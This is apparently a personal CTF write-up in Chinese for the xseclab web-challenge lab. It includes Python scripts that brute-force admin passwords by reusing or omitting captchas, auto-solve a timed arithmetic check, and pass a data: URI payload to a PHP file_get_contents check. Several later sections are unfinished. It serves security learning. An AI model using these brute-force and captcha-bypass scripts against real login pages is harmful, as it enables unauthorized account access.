1.key又又找不到了?
emmmm 抓包放包key就出来了,和基础关的差不多。
2.快速口算
试着写下脚本:
# -*- codeing = utf-8 -*-
# @Time : 2021/5/4 10:46
# @Author : rexu
# @File : 2sadd.py
# @Software : PyCharm
import requests,re
s = requests.Session()
url = "http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php"
html = s.get(url).content.decode('utf-8')
reg = r'([0-9].+)=<'
pattern = re.compile(reg)
match = re.findall(pattern,html)
payload = {'v':eval(match[0])}
print(s.post(url,data=payload).text)
得key!
3.这个题目是空的。
找到可以表示空白的字符串,循环提交,找到成功的。
# -*- codeing = utf-8 -*-
# @Time : 2021/5/4 11:15
# @Author : rexu
# @File : null.py
# @Software : PyCharm
import requests
url = ""
payloads = ["%00","%0a","%0d","%0a","%0d","%0b","%0c","%a0","null","none"]
for i in payloads:
r = requests.get(url,params={'':'i'})
if r.status_code == 200:
print(i)
else:
print("error")
#null是对的
4.怎么就是不弹出key呢?
抓包或者F12查看源码如下:
发现提示:提交前14个字符得到key。源码中有三个扰乱的函数return false;删除前3个函数,在本地重新运行,得到key。
学到了一种新的解题方法。
5.逗比验证法第一期:逗比的验证码,有没有难道不一样吗?
看提示好像是验证码不会变,我们抓包看看。
每次在不改正确的验证码的同时,修改密码,错误回显只有pwd error,的确,这是个逗比验证码;我们进行暴力破解,首先发送到Intruder模块;
1238登录得到key。
使用python脚本进行破解:
# -*- codeing = utf-8 -*-
# @Time : 2021/5/4 12:44
# @Author : rexu
# @File : burp.py
# @Software : PyCharm
import requests
s = requests.Session()
url = "http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0",
"Cookie": "PHPSESSID=4fd46a57c9beb76b5fd77aa0ccc954b7" #需要修改。
}
for i in range(1000,10000):
payload = {"username":"admin","pwd":i,"vcode":"PFFQ"} #同样需要修改
r = s.post(url,data=payload,headers=headers)
print(i,r.text)
6.逗比验证码第二期。
这回验证码每次刷新一次就回变一次。
我们发现如果不提交验证码,会回显pwd error ,所以猜测可以改包不输入验证码来绕过。
同样的,使用burp爆破。
使用python:
# -*- codeing = utf-8 -*-
# @Time : 2021/5/4 13:06
# @Author : rexu
# @File : burp2.py
# @Software : PyCharm
import requests
s = requests.Session()
url = "http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php"
headers = {
"Cookie": "PHPSESSID=4fd46a57c9beb76b5fd77aa0ccc954b7"
}
for i in range(1000,10000):
payload = {"username":"admin","pwd":i,"vcode":""}
r = s.post(url,headers=headers,data=payload)
print(i,r.content)
得key!
7.逗比的验证码第三期。
emmmmm
和第二期的验证码一样逗,不用输入验证码,然后爆破,python脚本也类似。
8.微笑一下就能过关了。
查看源代码:
代码审计题:
编码后我们的输入为:^%5f^
$_GET['^_^']只能是字符串:(●'◡'●)
输入为:" ^%5f^=data:,(●'◡'●) "
后面又要通过file_get_contents()取出$_GET['^_^']里的值,而$_GET['^_^']又必须不存在。所以$_GET['^_^']只能是字符串"(●'◡'●)",不可能是文件名。那么file_get_contents()里的参数就应该是data:,所以我们输入就应该为" ^%5f^=data:,(●'◡'●) "
http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php?^%5f^=data:,(%E2%97%8F%27%E2%97%A1%27%E2%97%8F)
得到key!
9.逗比的手机验证码。
显示登录框:
获取验证码登录后显示:
换手机号登录后发现:
抓包试试。
我们先抓6666结尾的包:
每次重发一回,验证码都会变,在这里我们把6666->6667发现:
发现不行。
我们抓取6667的包;
将这里的6667改为6666,发送:
登录得key
思路:66可得验证码,67不可得验证码,抓取67的包修改为66得验证码,配合67进行登录,找到key。
10.基情燃烧的岁月
进行爆破发现:
登录:
emmmm 使用99登录进行爆破:
登录:
11.验证码识别。
涉及未学到的python库,正在学。
12.xss1-基础
先用:
使用:
13.xss2-绕过
使用:发现:
怀疑